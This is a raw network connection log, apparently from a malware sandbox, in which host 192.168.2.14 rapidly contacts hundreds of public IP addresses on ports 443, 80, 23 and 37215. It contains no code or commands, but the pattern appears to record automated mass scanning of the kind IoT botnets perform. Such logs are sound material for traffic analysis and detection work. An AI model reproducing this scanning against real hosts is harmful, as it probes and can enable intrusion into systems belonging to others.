Oct 14, 2024 17:30:06.892062902 CEST	54042	443	192.168.2.14	178.204.58.42
Oct 14, 2024 17:30:06.892064095 CEST	54042	443	192.168.2.14	202.241.117.116
Oct 14, 2024 17:30:06.892066956 CEST	54042	443	192.168.2.14	212.233.78.229
Oct 14, 2024 17:30:06.892085075 CEST	54042	443	192.168.2.14	117.254.96.205
Oct 14, 2024 17:30:06.892086983 CEST	54042	443	192.168.2.14	210.213.242.226
Oct 14, 2024 17:30:06.892086983 CEST	54042	443	192.168.2.14	123.109.230.42
Oct 14, 2024 17:30:06.892101049 CEST	54042	443	192.168.2.14	123.70.198.214
Oct 14, 2024 17:30:06.892102957 CEST	54042	443	192.168.2.14	2.239.239.247
Oct 14, 2024 17:30:06.892103910 CEST	80	53274	159.91.47.65	192.168.2.14
Oct 14, 2024 17:30:06.892111063 CEST	37215	53786	197.135.124.130	192.168.2.14
Oct 14, 2024 17:30:06.892117977 CEST	80	53274	131.218.141.41	192.168.2.14
Oct 14, 2024 17:30:06.892117977 CEST	54042	443	192.168.2.14	212.120.138.79
Oct 14, 2024 17:30:06.892117977 CEST	54042	443	192.168.2.14	210.124.131.121
Oct 14, 2024 17:30:06.892123938 CEST	80	53274	200.142.113.7	192.168.2.14
Oct 14, 2024 17:30:06.892129898 CEST	80	53274	202.217.1.68	192.168.2.14
Oct 14, 2024 17:30:06.892134905 CEST	54042	443	192.168.2.14	117.89.9.22
Oct 14, 2024 17:30:06.892136097 CEST	80	53274	137.32.83.126	192.168.2.14
Oct 14, 2024 17:30:06.892138004 CEST	54042	443	192.168.2.14	79.206.211.95
Oct 14, 2024 17:30:06.892153978 CEST	53274	80	192.168.2.14	200.142.113.7
Oct 14, 2024 17:30:06.892153978 CEST	53786	37215	192.168.2.14	197.135.124.130
Oct 14, 2024 17:30:06.892153978 CEST	53274	80	192.168.2.14	159.91.47.65
Oct 14, 2024 17:30:06.892153978 CEST	53274	80	192.168.2.14	131.218.141.41
Oct 14, 2024 17:30:06.892174959 CEST	53274	80	192.168.2.14	137.32.83.126
Oct 14, 2024 17:30:06.892184973 CEST	54042	443	192.168.2.14	123.182.177.240
Oct 14, 2024 17:30:06.892185926 CEST	53274	80	192.168.2.14	202.217.1.68
Oct 14, 2024 17:30:06.892196894 CEST	54042	443	192.168.2.14	118.112.156.166
Oct 14, 2024 17:30:06.892196894 CEST	54042	443	192.168.2.14	37.195.159.34
Oct 14, 2024 17:30:06.892222881 CEST	37215	53786	41.165.79.165	192.168.2.14
Oct 14, 2024 17:30:06.892230034 CEST	80	53274	108.10.144.124	192.168.2.14
Oct 14, 2024 17:30:06.892231941 CEST	54042	443	192.168.2.14	109.2.224.67
Oct 14, 2024 17:30:06.892232895 CEST	54042	443	192.168.2.14	118.96.102.195
Oct 14, 2024 17:30:06.892235041 CEST	37215	53786	41.173.7.231	192.168.2.14
Oct 14, 2024 17:30:06.892235041 CEST	54042	443	192.168.2.14	202.85.210.237
Oct 14, 2024 17:30:06.892236948 CEST	54042	443	192.168.2.14	5.72.118.235
Oct 14, 2024 17:30:06.892240047 CEST	37215	53786	156.204.124.93	192.168.2.14
Oct 14, 2024 17:30:06.892246008 CEST	37215	53786	41.108.127.28	192.168.2.14
Oct 14, 2024 17:30:06.892246008 CEST	54042	443	192.168.2.14	178.153.14.128
Oct 14, 2024 17:30:06.892251015 CEST	37215	53786	156.140.177.52	192.168.2.14
Oct 14, 2024 17:30:06.892256975 CEST	80	53274	212.201.44.80	192.168.2.14
Oct 14, 2024 17:30:06.892262936 CEST	37215	53786	197.215.148.217	192.168.2.14
Oct 14, 2024 17:30:06.892265081 CEST	53274	80	192.168.2.14	108.10.144.124
Oct 14, 2024 17:30:06.892266989 CEST	54042	443	192.168.2.14	109.45.217.68
Oct 14, 2024 17:30:06.892267942 CEST	53786	37215	192.168.2.14	41.165.79.165
Oct 14, 2024 17:30:06.892268896 CEST	37215	53786	41.224.239.153	192.168.2.14
Oct 14, 2024 17:30:06.892271996 CEST	53786	37215	192.168.2.14	41.173.7.231
Oct 14, 2024 17:30:06.892273903 CEST	37215	53786	156.235.186.160	192.168.2.14
Oct 14, 2024 17:30:06.892277002 CEST	53786	37215	192.168.2.14	41.108.127.28
Oct 14, 2024 17:30:06.892278910 CEST	53786	37215	192.168.2.14	156.204.124.93
Oct 14, 2024 17:30:06.892280102 CEST	37215	53786	156.79.0.136	192.168.2.14
Oct 14, 2024 17:30:06.892286062 CEST	37215	53786	156.15.69.208	192.168.2.14
Oct 14, 2024 17:30:06.892291069 CEST	53786	37215	192.168.2.14	197.215.148.217
Oct 14, 2024 17:30:06.892292023 CEST	80	53274	156.151.23.28	192.168.2.14
Oct 14, 2024 17:30:06.892292023 CEST	53786	37215	192.168.2.14	156.140.177.52
Oct 14, 2024 17:30:06.892298937 CEST	37215	53786	156.212.251.142	192.168.2.14
Oct 14, 2024 17:30:06.892307043 CEST	53274	80	192.168.2.14	212.201.44.80
Oct 14, 2024 17:30:06.892307043 CEST	53786	37215	192.168.2.14	41.224.239.153
Oct 14, 2024 17:30:06.892317057 CEST	37215	53786	156.184.91.73	192.168.2.14
Oct 14, 2024 17:30:06.892321110 CEST	54042	443	192.168.2.14	79.57.79.2
Oct 14, 2024 17:30:06.892322063 CEST	37215	53786	41.202.154.161	192.168.2.14
Oct 14, 2024 17:30:06.892323017 CEST	53786	37215	192.168.2.14	156.79.0.136
Oct 14, 2024 17:30:06.892323971 CEST	53786	37215	192.168.2.14	156.235.186.160
Oct 14, 2024 17:30:06.892333031 CEST	54042	443	192.168.2.14	37.59.173.58
Oct 14, 2024 17:30:06.892334938 CEST	37215	53786	197.178.79.67	192.168.2.14
Oct 14, 2024 17:30:06.892337084 CEST	53786	37215	192.168.2.14	156.15.69.208
Oct 14, 2024 17:30:06.892337084 CEST	54042	443	192.168.2.14	94.244.48.47
Oct 14, 2024 17:30:06.892340899 CEST	37215	53786	197.58.13.43	192.168.2.14
Oct 14, 2024 17:30:06.892343044 CEST	54042	443	192.168.2.14	109.50.66.250
Oct 14, 2024 17:30:06.892345905 CEST	54042	443	192.168.2.14	109.50.115.71
Oct 14, 2024 17:30:06.892347097 CEST	37215	53786	41.10.178.6	192.168.2.14
Oct 14, 2024 17:30:06.892348051 CEST	54042	443	192.168.2.14	212.253.243.80
Oct 14, 2024 17:30:06.892348051 CEST	54042	443	192.168.2.14	117.199.191.184
Oct 14, 2024 17:30:06.892352104 CEST	37215	53786	41.112.25.43	192.168.2.14
Oct 14, 2024 17:30:06.892358065 CEST	37215	53786	41.34.219.91	192.168.2.14
Oct 14, 2024 17:30:06.892359972 CEST	54042	443	192.168.2.14	202.171.136.185
Oct 14, 2024 17:30:06.892359972 CEST	54042	443	192.168.2.14	210.26.153.229
Oct 14, 2024 17:30:06.892359972 CEST	53786	37215	192.168.2.14	41.202.154.161
Oct 14, 2024 17:30:06.892363071 CEST	80	53274	217.234.226.222	192.168.2.14
Oct 14, 2024 17:30:06.892370939 CEST	54042	443	192.168.2.14	212.222.171.57
Oct 14, 2024 17:30:06.892375946 CEST	54042	443	192.168.2.14	37.237.161.90
Oct 14, 2024 17:30:06.892375946 CEST	53786	37215	192.168.2.14	197.58.13.43
Oct 14, 2024 17:30:06.892378092 CEST	54042	443	192.168.2.14	2.8.175.45
Oct 14, 2024 17:30:06.892378092 CEST	53786	37215	192.168.2.14	197.178.79.67
Oct 14, 2024 17:30:06.892378092 CEST	53786	37215	192.168.2.14	41.10.178.6
Oct 14, 2024 17:30:06.892390013 CEST	53786	37215	192.168.2.14	41.34.219.91
Oct 14, 2024 17:30:06.892394066 CEST	53786	37215	192.168.2.14	41.112.25.43
Oct 14, 2024 17:30:06.892394066 CEST	53274	80	192.168.2.14	217.234.226.222
Oct 14, 2024 17:30:06.892410040 CEST	53274	80	192.168.2.14	156.151.23.28
Oct 14, 2024 17:30:06.892410040 CEST	53786	37215	192.168.2.14	156.212.251.142
Oct 14, 2024 17:30:06.892410040 CEST	53786	37215	192.168.2.14	156.184.91.73
Oct 14, 2024 17:30:06.892427921 CEST	54042	443	192.168.2.14	94.152.40.7
Oct 14, 2024 17:30:06.892430067 CEST	54042	443	192.168.2.14	79.164.140.37
Oct 14, 2024 17:30:06.892430067 CEST	54042	443	192.168.2.14	42.45.154.166
Oct 14, 2024 17:30:06.892446995 CEST	54042	443	192.168.2.14	117.28.20.181
Oct 14, 2024 17:30:06.892466068 CEST	54042	443	192.168.2.14	123.62.251.167
Oct 14, 2024 17:30:06.892468929 CEST	54042	443	192.168.2.14	2.222.134.80
Oct 14, 2024 17:30:06.892468929 CEST	54042	443	192.168.2.14	178.115.164.5
Oct 14, 2024 17:30:06.892468929 CEST	54042	443	192.168.2.14	2.22.71.78
Oct 14, 2024 17:30:06.892468929 CEST	54042	443	192.168.2.14	5.208.154.55
Oct 14, 2024 17:30:06.892489910 CEST	54042	443	192.168.2.14	5.203.213.94
Oct 14, 2024 17:30:06.892489910 CEST	54042	443	192.168.2.14	37.25.131.166
Oct 14, 2024 17:30:06.892493010 CEST	54042	443	192.168.2.14	202.102.110.152
Oct 14, 2024 17:30:06.892498016 CEST	54042	443	192.168.2.14	118.218.123.103
Oct 14, 2024 17:30:06.892517090 CEST	54042	443	192.168.2.14	117.227.194.122
Oct 14, 2024 17:30:06.892517090 CEST	54042	443	192.168.2.14	117.66.234.111
Oct 14, 2024 17:30:06.892530918 CEST	54042	443	192.168.2.14	2.208.143.55
Oct 14, 2024 17:30:06.892534018 CEST	54042	443	192.168.2.14	2.210.175.20
Oct 14, 2024 17:30:06.892543077 CEST	54042	443	192.168.2.14	202.225.89.208
Oct 14, 2024 17:30:06.892575979 CEST	54042	443	192.168.2.14	117.149.251.75
Oct 14, 2024 17:30:06.892577887 CEST	54042	443	192.168.2.14	118.102.43.181
Oct 14, 2024 17:30:06.892580986 CEST	54042	443	192.168.2.14	79.17.117.196
Oct 14, 2024 17:30:06.892585039 CEST	54042	443	192.168.2.14	5.0.242.10
Oct 14, 2024 17:30:06.892604113 CEST	54042	443	192.168.2.14	5.214.7.239
Oct 14, 2024 17:30:06.892604113 CEST	54042	443	192.168.2.14	37.71.120.139
Oct 14, 2024 17:30:06.892620087 CEST	54042	443	192.168.2.14	148.64.65.24
Oct 14, 2024 17:30:06.892631054 CEST	54042	443	192.168.2.14	109.108.245.242
Oct 14, 2024 17:30:06.892631054 CEST	54042	443	192.168.2.14	178.32.118.11
Oct 14, 2024 17:30:06.892648935 CEST	54042	443	192.168.2.14	5.61.245.170
Oct 14, 2024 17:30:06.892648935 CEST	54042	443	192.168.2.14	42.190.71.161
Oct 14, 2024 17:30:06.892652988 CEST	54042	443	192.168.2.14	2.188.50.97
Oct 14, 2024 17:30:06.892663002 CEST	80	53274	139.25.170.21	192.168.2.14
Oct 14, 2024 17:30:06.892664909 CEST	54042	443	192.168.2.14	210.36.202.212
Oct 14, 2024 17:30:06.892668962 CEST	37215	53786	41.14.124.112	192.168.2.14
Oct 14, 2024 17:30:06.892678976 CEST	39966	23	192.168.2.14	198.21.48.149
Oct 14, 2024 17:30:06.892679930 CEST	54042	443	192.168.2.14	123.159.133.12
Oct 14, 2024 17:30:06.892683029 CEST	37215	53786	156.4.171.249	192.168.2.14
Oct 14, 2024 17:30:06.892683983 CEST	54042	443	192.168.2.14	123.107.191.18
Oct 14, 2024 17:30:06.892683983 CEST	54042	443	192.168.2.14	94.132.175.229
Oct 14, 2024 17:30:06.892688990 CEST	37215	53786	156.143.120.94	192.168.2.14
Oct 14, 2024 17:30:06.892694950 CEST	37215	53786	156.247.35.81	192.168.2.14
Oct 14, 2024 17:30:06.892694950 CEST	54042	443	192.168.2.14	210.8.131.40
Oct 14, 2024 17:30:06.892707109 CEST	53274	80	192.168.2.14	139.25.170.21
Oct 14, 2024 17:30:06.892707109 CEST	33086	23	192.168.2.14	59.114.129.161
Oct 14, 2024 17:30:06.892707109 CEST	54042	443	192.168.2.14	118.90.6.209
Oct 14, 2024 17:30:06.892710924 CEST	53786	37215	192.168.2.14	41.14.124.112
Oct 14, 2024 17:30:06.892719030 CEST	53786	37215	192.168.2.14	156.143.120.94
Oct 14, 2024 17:30:06.892728090 CEST	53786	37215	192.168.2.14	156.4.171.249
Oct 14, 2024 17:30:06.892728090 CEST	54042	443	192.168.2.14	42.206.72.23
Oct 14, 2024 17:30:06.892729998 CEST	53786	37215	192.168.2.14	156.247.35.81
Oct 14, 2024 17:30:06.892739058 CEST	54042	443	192.168.2.14	210.210.163.11
Oct 14, 2024 17:30:06.892750978 CEST	80	53274	110.104.125.223	192.168.2.14
Oct 14, 2024 17:30:06.892750978 CEST	53138	23	192.168.2.14	13.92.184.22
Oct 14, 2024 17:30:06.892750978 CEST	54042	443	192.168.2.14	123.70.129.149
Oct 14, 2024 17:30:06.892757893 CEST	80	53274	19.149.29.25	192.168.2.14
Oct 14, 2024 17:30:06.892767906 CEST	46620	23	192.168.2.14	68.224.13.94
Oct 14, 2024 17:30:06.892771959 CEST	37215	53786	41.208.3.121	192.168.2.14
Oct 14, 2024 17:30:06.892771959 CEST	54042	443	192.168.2.14	212.77.244.215
Oct 14, 2024 17:30:06.892776966 CEST	54042	443	192.168.2.14	123.2.113.251
Oct 14, 2024 17:30:06.892777920 CEST	37215	53786	197.93.84.42	192.168.2.14
Oct 14, 2024 17:30:06.892777920 CEST	54042	443	192.168.2.14	37.182.16.254
Oct 14, 2024 17:30:06.892786026 CEST	54042	443	192.168.2.14	109.93.228.36
Oct 14, 2024 17:30:06.892788887 CEST	50644	23	192.168.2.14	149.188.115.52
Oct 14, 2024 17:30:06.892791033 CEST	37215	53786	41.22.183.89	192.168.2.14
Oct 14, 2024 17:30:06.892796993 CEST	37215	53786	41.162.172.206	192.168.2.14
Oct 14, 2024 17:30:06.892802954 CEST	37215	53786	156.68.208.33	192.168.2.14
Oct 14, 2024 17:30:06.892807961 CEST	80	53274	107.155.143.32	192.168.2.14
Oct 14, 2024 17:30:06.892808914 CEST	53274	80	192.168.2.14	110.104.125.223
Oct 14, 2024 17:30:06.892808914 CEST	55052	23	192.168.2.14	20.2.160.33
Oct 14, 2024 17:30:06.892812014 CEST	53274	80	192.168.2.14	19.149.29.25
Oct 14, 2024 17:30:06.892813921 CEST	80	53274	221.166.175.36	192.168.2.14
Oct 14, 2024 17:30:06.892819881 CEST	80	53274	187.237.223.34	192.168.2.14
Oct 14, 2024 17:30:06.892821074 CEST	53786	37215	192.168.2.14	197.93.84.42
Oct 14, 2024 17:30:06.892824888 CEST	80	53274	201.171.85.124	192.168.2.14
Oct 14, 2024 17:30:06.892831087 CEST	80	53274	14.19.126.210	192.168.2.14
Oct 14, 2024 17:30:06.892836094 CEST	80	53274	175.142.52.187	192.168.2.14
Oct 14, 2024 17:30:06.892837048 CEST	53786	37215	192.168.2.14	41.22.183.89
Oct 14, 2024 17:30:06.892837048 CEST	53786	37215	192.168.2.14	156.68.208.33
Oct 14, 2024 17:30:06.892842054 CEST	80	53274	173.132.71.60	192.168.2.14
Oct 14, 2024 17:30:06.892843008 CEST	53786	37215	192.168.2.14	41.208.3.121
Oct 14, 2024 17:30:06.892843008 CEST	53786	37215	192.168.2.14	41.162.172.206
Oct 14, 2024 17:30:06.892843008 CEST	53274	80	192.168.2.14	107.155.143.32
Oct 14, 2024 17:30:06.892846107 CEST	53274	80	192.168.2.14	221.166.175.36
Oct 14, 2024 17:30:06.892848015 CEST	37215	53786	197.133.182.238	192.168.2.14
Oct 14, 2024 17:30:06.892859936 CEST	53274	80	192.168.2.14	187.237.223.34
Oct 14, 2024 17:30:06.892868042 CEST	37215	53786	156.46.25.230	192.168.2.14
Oct 14, 2024 17:30:06.892872095 CEST	54042	443	192.168.2.14	94.31.26.115
Oct 14, 2024 17:30:06.892872095 CEST	53274	80	192.168.2.14	175.142.52.187
Oct 14, 2024 17:30:06.892873049 CEST	54042	443	192.168.2.14	148.137.131.230
Oct 14, 2024 17:30:06.892872095 CEST	53274	80	192.168.2.14	14.19.126.210
Oct 14, 2024 17:30:06.892873049 CEST	53274	80	192.168.2.14	201.171.85.124
Oct 14, 2024 17:30:06.892874002 CEST	37215	53786	41.220.52.130	192.168.2.14
Oct 14, 2024 17:30:06.892879963 CEST	37215	53786	197.125.192.57	192.168.2.14
Oct 14, 2024 17:30:06.892885923 CEST	80	53274	124.132.25.56	192.168.2.14
Oct 14, 2024 17:30:06.892885923 CEST	54042	443	192.168.2.14	123.54.138.236
Oct 14, 2024 17:30:06.892893076 CEST	80	53274	161.242.196.182	192.168.2.14
Oct 14, 2024 17:30:06.892898083 CEST	37215	53786	197.191.192.93	192.168.2.14
Oct 14, 2024 17:30:06.892899036 CEST	53274	80	192.168.2.14	173.132.71.60
Oct 14, 2024 17:30:06.892899036 CEST	53786	37215	192.168.2.14	197.133.182.238
Oct 14, 2024 17:30:06.892901897 CEST	54042	443	192.168.2.14	148.79.164.36
Oct 14, 2024 17:30:06.892910004 CEST	54042	443	192.168.2.14	118.7.194.252
Oct 14, 2024 17:30:06.892910004 CEST	53786	37215	192.168.2.14	156.46.25.230
Oct 14, 2024 17:30:06.892910957 CEST	37215	53786	156.221.34.195	192.168.2.14
Oct 14, 2024 17:30:06.892916918 CEST	80	53274	73.239.192.48	192.168.2.14
Oct 14, 2024 17:30:06.892916918 CEST	54042	443	192.168.2.14	2.42.61.74
Oct 14, 2024 17:30:06.892916918 CEST	54042	443	192.168.2.14	202.69.85.166
Oct 14, 2024 17:30:06.892930984 CEST	53786	37215	192.168.2.14	197.125.192.57
Oct 14, 2024 17:30:06.892931938 CEST	53274	80	192.168.2.14	124.132.25.56
Oct 14, 2024 17:30:06.892931938 CEST	53786	37215	192.168.2.14	41.220.52.130
Oct 14, 2024 17:30:06.892931938 CEST	54042	443	192.168.2.14	42.199.56.89
Oct 14, 2024 17:30:06.892931938 CEST	53274	80	192.168.2.14	161.242.196.182
Oct 14, 2024 17:30:06.892947912 CEST	53786	37215	192.168.2.14	197.191.192.93
Oct 14, 2024 17:30:06.892952919 CEST	53786	37215	192.168.2.14	156.221.34.195
Oct 14, 2024 17:30:06.892952919 CEST	53274	80	192.168.2.14	73.239.192.48
Oct 14, 2024 17:30:06.892961025 CEST	56648	23	192.168.2.14	86.140.91.82
Oct 14, 2024 17:30:06.892976999 CEST	54042	443	192.168.2.14	109.116.64.223
Oct 14, 2024 17:30:06.892976999 CEST	53462	23	192.168.2.14	132.120.125.189
Oct 14, 2024 17:30:06.892976999 CEST	54042	443	192.168.2.14	5.65.239.131
Oct 14, 2024 17:30:06.892976999 CEST	54042	443	192.168.2.14	123.81.181.88
Oct 14, 2024 17:30:06.892993927 CEST	54042	443	192.168.2.14	212.86.175.230
Oct 14, 2024 17:30:06.892993927 CEST	54042	443	192.168.2.14	5.197.12.227
Oct 14, 2024 17:30:06.893003941 CEST	54634	23	192.168.2.14	159.20.244.229
Oct 14, 2024 17:30:06.893007994 CEST	54042	443	192.168.2.14	79.218.37.72
Oct 14, 2024 17:30:06.893019915 CEST	54042	443	192.168.2.14	94.13.9.222
Oct 14, 2024 17:30:06.893027067 CEST	54042	443	192.168.2.14	202.74.146.93
Oct 14, 2024 17:30:06.893028975 CEST	54042	443	192.168.2.14	79.7.226.56
Oct 14, 2024 17:30:06.893034935 CEST	51582	23	192.168.2.14	222.191.18.34
Oct 14, 2024 17:30:06.893049955 CEST	33952	23	192.168.2.14	78.112.21.3
Oct 14, 2024 17:30:06.893054008 CEST	54042	443	192.168.2.14	2.234.85.204
Oct 14, 2024 17:30:06.893054008 CEST	54042	443	192.168.2.14	212.33.223.220
Oct 14, 2024 17:30:06.893064976 CEST	54042	443	192.168.2.14	117.15.203.109
Oct 14, 2024 17:30:06.893070936 CEST	54042	443	192.168.2.14	42.160.188.224
Oct 14, 2024 17:30:06.893073082 CEST	54042	443	192.168.2.14	212.171.236.123
Oct 14, 2024 17:30:06.893073082 CEST	54042	443	192.168.2.14	210.46.127.192
Oct 14, 2024 17:30:06.893074036 CEST	54042	443	192.168.2.14	42.56.11.208
Oct 14, 2024 17:30:06.893074036 CEST	54042	443	192.168.2.14	42.14.149.172
Oct 14, 2024 17:30:06.893089056 CEST	54042	443	192.168.2.14	202.66.1.110
Oct 14, 2024 17:30:06.893090010 CEST	54042	443	192.168.2.14	178.110.158.236
Oct 14, 2024 17:30:06.893090010 CEST	54042	443	192.168.2.14	118.108.190.120
Oct 14, 2024 17:30:06.893091917 CEST	48032	23	192.168.2.14	218.230.130.16
Oct 14, 2024 17:30:06.893105984 CEST	54042	443	192.168.2.14	210.155.121.2
Oct 14, 2024 17:30:06.893105984 CEST	54042	443	192.168.2.14	148.132.161.158
Oct 14, 2024 17:30:06.893109083 CEST	54042	443	192.168.2.14	2.81.78.40
Oct 14, 2024 17:30:06.893112898 CEST	54042	443	192.168.2.14	148.76.208.220
Oct 14, 2024 17:30:06.893112898 CEST	54042	443	192.168.2.14	123.198.168.136
Oct 14, 2024 17:30:06.893112898 CEST	54042	443	192.168.2.14	212.226.242.151
Oct 14, 2024 17:30:06.893115997 CEST	54042	443	192.168.2.14	2.2.244.42
Oct 14, 2024 17:30:06.893121958 CEST	54042	443	192.168.2.14	148.169.152.135
Oct 14, 2024 17:30:06.893122911 CEST	54042	443	192.168.2.14	42.87.124.2
Oct 14, 2024 17:30:06.893126011 CEST	54042	443	192.168.2.14	148.31.119.152
Oct 14, 2024 17:30:06.893126011 CEST	54042	443	192.168.2.14	123.15.41.103
Oct 14, 2024 17:30:06.893152952 CEST	56044	23	192.168.2.14	177.184.123.139
Oct 14, 2024 17:30:06.893156052 CEST	54042	443	192.168.2.14	178.244.72.123
Oct 14, 2024 17:30:06.893156052 CEST	54042	443	192.168.2.14	109.12.70.154
Oct 14, 2024 17:30:06.893156052 CEST	37215	53786	41.166.106.76	192.168.2.14
Oct 14, 2024 17:30:06.893157959 CEST	60020	23	192.168.2.14	168.2.173.85
Oct 14, 2024 17:30:06.893165112 CEST	80	53274	75.38.223.72	192.168.2.14
Oct 14, 2024 17:30:06.893167019 CEST	54042	443	192.168.2.14	123.248.193.105
Oct 14, 2024 17:30:06.893170118 CEST	54042	443	192.168.2.14	37.86.65.142
Oct 14, 2024 17:30:06.893170118 CEST	54042	443	192.168.2.14	79.151.187.12
Oct 14, 2024 17:30:06.893171072 CEST	80	53274	41.59.78.108	192.168.2.14
Oct 14, 2024 17:30:06.893176079 CEST	37215	53786	197.159.99.206	192.168.2.14
Oct 14, 2024 17:30:06.893181086 CEST	80	53274	143.209.20.121	192.168.2.14
Oct 14, 2024 17:30:06.893187046 CEST	80	53274	100.243.109.233	192.168.2.14
Oct 14, 2024 17:30:06.893188000 CEST	58738	23	192.168.2.14	192.80.86.105
Oct 14, 2024 17:30:06.893192053 CEST	80	53274	163.36.214.144	192.168.2.14
Oct 14, 2024 17:30:06.893197060 CEST	37215	53786	197.70.39.76	192.168.2.14
Oct 14, 2024 17:30:06.893198013 CEST	54042	443	192.168.2.14	2.233.200.206
Oct 14, 2024 17:30:06.893199921 CEST	51570	23	192.168.2.14	196.202.82.244
Oct 14, 2024 17:30:06.893203020 CEST	80	53274	49.174.98.60	192.168.2.14
Oct 14, 2024 17:30:06.893205881 CEST	53274	80	192.168.2.14	75.38.223.72
Oct 14, 2024 17:30:06.893205881 CEST	53786	37215	192.168.2.14	41.166.106.76
Oct 14, 2024 17:30:06.893208981 CEST	80	53274	69.8.8.128	192.168.2.14
Oct 14, 2024 17:30:06.893212080 CEST	54042	443	192.168.2.14	202.251.19.186
Oct 14, 2024 17:30:06.893214941 CEST	80	53274	19.34.134.3	192.168.2.14
Oct 14, 2024 17:30:06.893217087 CEST	54042	443	192.168.2.14	5.64.127.159
Oct 14, 2024 17:30:06.893218994 CEST	53274	80	192.168.2.14	100.243.109.233
Oct 14, 2024 17:30:06.893223047 CEST	53274	80	192.168.2.14	41.59.78.108
Oct 14, 2024 17:30:06.893232107 CEST	53786	37215	192.168.2.14	197.159.99.206
Oct 14, 2024 17:30:06.893232107 CEST	53274	80	192.168.2.14	143.209.20.121
Oct 14, 2024 17:30:06.893233061 CEST	53274	80	192.168.2.14	49.174.98.60
Oct 14, 2024 17:30:06.893240929 CEST	80	53274	99.121.21.218	192.168.2.14
Oct 14, 2024 17:30:06.893243074 CEST	54042	443	192.168.2.14	202.139.110.233
Oct 14, 2024 17:30:06.893246889 CEST	37215	53786	156.57.65.56	192.168.2.14
Oct 14, 2024 17:30:06.893249989 CEST	53274	80	192.168.2.14	163.36.214.144
Oct 14, 2024 17:30:06.893254042 CEST	37215	53786	41.27.172.252	192.168.2.14
Oct 14, 2024 17:30:06.893260002 CEST	80	53274	139.138.250.188	192.168.2.14
Oct 14, 2024 17:30:06.893265009 CEST	54042	443	192.168.2.14	79.238.213.219
Oct 14, 2024 17:30:06.893268108 CEST	53786	37215	192.168.2.14	197.70.39.76
Oct 14, 2024 17:30:06.893268108 CEST	54042	443	192.168.2.14	123.240.10.3
Oct 14, 2024 17:30:06.893269062 CEST	53274	80	192.168.2.14	19.34.134.3
Oct 14, 2024 17:30:06.893269062 CEST	54042	443	192.168.2.14	178.129.124.54
Oct 14, 2024 17:30:06.893270016 CEST	53274	80	192.168.2.14	69.8.8.128
Oct 14, 2024 17:30:06.893269062 CEST	54042	443	192.168.2.14	79.116.141.90
Oct 14, 2024 17:30:06.893270969 CEST	54042	443	192.168.2.14	117.146.74.226
Oct 14, 2024 17:30:06.893271923 CEST	80	53274	116.203.124.247	192.168.2.14
Oct 14, 2024 17:30:06.893270969 CEST	53786	37215	192.168.2.14	156.57.65.56
Oct 14, 2024 17:30:06.893276930 CEST	54042	443	192.168.2.14	212.222.178.86
Oct 14, 2024 17:30:06.893279076 CEST	37215	53786	41.64.224.11	192.168.2.14
Oct 14, 2024 17:30:06.893280983 CEST	54042	443	192.168.2.14	5.252.99.0
Oct 14, 2024 17:30:06.893285036 CEST	37215	53786	197.11.23.41	192.168.2.14
Oct 14, 2024 17:30:06.893290997 CEST	54042	443	192.168.2.14	202.196.72.117
Oct 14, 2024 17:30:06.893290997 CEST	37215	53786	41.215.104.2	192.168.2.14
Oct 14, 2024 17:30:06.893295050 CEST	54042	443	192.168.2.14	123.182.7.144
Oct 14, 2024 17:30:06.893295050 CEST	54042	443	192.168.2.14	117.157.4.55
Oct 14, 2024 17:30:06.893295050 CEST	54042	443	192.168.2.14	118.223.178.203
Oct 14, 2024 17:30:06.893296957 CEST	37215	53786	156.154.74.103	192.168.2.14
Oct 14, 2024 17:30:06.893295050 CEST	54042	443	192.168.2.14	5.227.145.72
Oct 14, 2024 17:30:06.893295050 CEST	53786	37215	192.168.2.14	41.27.172.252
Oct 14, 2024 17:30:06.893301964 CEST	37215	53786	156.198.236.160	192.168.2.14
Oct 14, 2024 17:30:06.893307924 CEST	80	53274	86.25.75.62	192.168.2.14
Oct 14, 2024 17:30:06.893310070 CEST	41776	23	192.168.2.14	92.26.253.205
Oct 14, 2024 17:30:06.893311977 CEST	54042	443	192.168.2.14	37.226.231.146
Oct 14, 2024 17:30:06.893311977 CEST	53274	80	192.168.2.14	139.138.250.188
Oct 14, 2024 17:30:06.893313885 CEST	80	53274	149.34.252.31	192.168.2.14
Oct 14, 2024 17:30:06.893320084 CEST	80	53274	121.0.234.94	192.168.2.14
Oct 14, 2024 17:30:06.893321037 CEST	54042	443	192.168.2.14	79.47.10.55
Oct 14, 2024 17:30:06.893325090 CEST	37280	23	192.168.2.14	154.152.32.228
Oct 14, 2024 17:30:06.893326044 CEST	80	53274	122.156.175.48	192.168.2.14
Oct 14, 2024 17:30:06.893330097 CEST	53274	80	192.168.2.14	116.203.124.247
Oct 14, 2024 17:30:06.893332005 CEST	37215	53786	197.172.165.197	192.168.2.14
Oct 14, 2024 17:30:06.893335104 CEST	53786	37215	192.168.2.14	41.64.224.11
Oct 14, 2024 17:30:06.893341064 CEST	54042	443	192.168.2.14	202.103.42.199
Oct 14, 2024 17:30:06.893341064 CEST	37215	53786	41.151.158.120	192.168.2.14
Oct 14, 2024 17:30:06.893343925 CEST	53786	37215	192.168.2.14	197.11.23.41
Oct 14, 2024 17:30:06.893343925 CEST	53786	37215	192.168.2.14	156.198.236.160
Oct 14, 2024 17:30:06.893347979 CEST	80	53274	107.96.85.251	192.168.2.14
Oct 14, 2024 17:30:06.893358946 CEST	53786	37215	192.168.2.14	156.154.74.103
Oct 14, 2024 17:30:06.893361092 CEST	53274	80	192.168.2.14	149.34.252.31
Oct 14, 2024 17:30:06.893376112 CEST	53274	80	192.168.2.14	99.121.21.218
Oct 14, 2024 17:30:06.893376112 CEST	54042	443	192.168.2.14	5.51.60.206
Oct 14, 2024 17:30:06.893377066 CEST	53786	37215	192.168.2.14	197.172.165.197
Oct 14, 2024 17:30:06.893376112 CEST	54042	443	192.168.2.14	210.4.238.168
Oct 14, 2024 17:30:06.893378019 CEST	53274	80	192.168.2.14	122.156.175.48
Oct 14, 2024 17:30:06.893376112 CEST	53786	37215	192.168.2.14	41.215.104.2
Oct 14, 2024 17:30:06.893376112 CEST	53274	80	192.168.2.14	121.0.234.94
Oct 14, 2024 17:30:06.893376112 CEST	53274	80	192.168.2.14	86.25.75.62
Oct 14, 2024 17:30:06.893381119 CEST	53786	37215	192.168.2.14	41.151.158.120
Oct 14, 2024 17:30:06.893399954 CEST	35972	23	192.168.2.14	5.58.83.22
Oct 14, 2024 17:30:06.893402100 CEST	53274	80	192.168.2.14	107.96.85.251
Oct 14, 2024 17:30:06.893405914 CEST	54042	443	192.168.2.14	202.192.243.183
Oct 14, 2024 17:30:06.893405914 CEST	54042	443	192.168.2.14	79.215.205.157
Oct 14, 2024 17:30:06.893414974 CEST	54042	443	192.168.2.14	123.113.196.255
